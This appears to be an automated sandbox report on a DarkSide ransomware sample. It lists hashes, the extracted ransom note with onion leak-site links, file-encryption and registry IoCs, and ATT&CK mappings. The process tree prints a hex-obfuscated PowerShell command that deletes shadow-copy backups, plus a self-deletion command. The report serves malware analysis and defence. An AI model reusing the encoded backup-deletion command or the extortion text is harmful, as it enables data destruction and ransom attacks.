darkside | 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61

General

Target

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.e0ec675c.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 20 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ConvertToDeny.raw => C:\Users\Admin\Pictures\ConvertToDeny.raw.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\GroupExit.crw.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveDismount.tif.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveConvertTo.raw.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\TestJoin.png => C:\Users\Admin\Pictures\TestJoin.png.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\CompleteGet.png => C:\Users\Admin\Pictures\CompleteGet.png.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteGet.png.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeAssert.tiff	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\ProtectResume.tiff.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\RemoveDismount.tif => C:\Users\Admin\Pictures\RemoveDismount.tif.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\ResolveConvertTo.raw => C:\Users\Admin\Pictures\ResolveConvertTo.raw.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\ExitRevoke.tif => C:\Users\Admin\Pictures\ExitRevoke.tif.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\ExitRevoke.tif.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\GroupExit.crw => C:\Users\Admin\Pictures\GroupExit.crw.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeAssert.tiff.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\ProtectResume.tiff	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\ConvertToDeny.raw.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\OptimizeAssert.tiff => C:\Users\Admin\Pictures\OptimizeAssert.tiff.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\ProtectResume.tiff => C:\Users\Admin\Pictures\ProtectResume.tiff.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\TestJoin.png.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\e0ec675c.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\e0ec675c.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

pid process

4604 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\Desktop\WallpaperStyle = "10"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies registry class 5 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.e0ec675c\ = "e0ec675c"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e0ec675c\DefaultIcon	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\e0ec675c\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\e0ec675c.ico"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.e0ec675c	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

pid	process
2032	powershell.exe
2032	powershell.exe
4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSecurityPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeTakeOwnershipPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeLoadDriverPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemProfilePrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemtimePrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeProfSingleProcessPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeIncBasePriorityPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeCreatePagefilePrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeBackupPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRestorePrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeShutdownPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemEnvironmentPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRemoteShutdownPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeUndockPrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeManageVolumePrivilege	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 33	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 34	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 35	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 36	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeBackupPrivilege	4928	vssvc.exe
Token: SeRestorePrivilege	4928	vssvc.exe
Token: SeAuditPrivilege	4928	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	pid	process	target process
PID 4604 wrote to memory of 2032	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 4604 wrote to memory of 2032	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 4604 wrote to memory of 2512	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 4604 wrote to memory of 2512	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 4604 wrote to memory of 2512	4604	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
"C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"
1⤵
- Modifies extensions of user files
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL
2⤵
PID:2512

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
806286a9ea8981d782ba5872780e6a4c

SHA1
99fe6f0c1098145a7b60fda68af7e10880f145da

SHA256
cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713

SHA512
362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e

Download Submit
memory/2032-132-0x0000000000000000-mapping.dmp

Download
memory/2032-133-0x000001DC9DD40000-0x000001DC9DD62000-memory.dmp

Filesize
136KB

Download
memory/2032-134-0x00007FFD9D160000-0x00007FFD9DC21000-memory.dmp

Filesize
10.8MB

Download
memory/2032-135-0x00007FFD9D160000-0x00007FFD9DC21000-memory.dmp

Filesize
10.8MB

Download
memory/2512-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads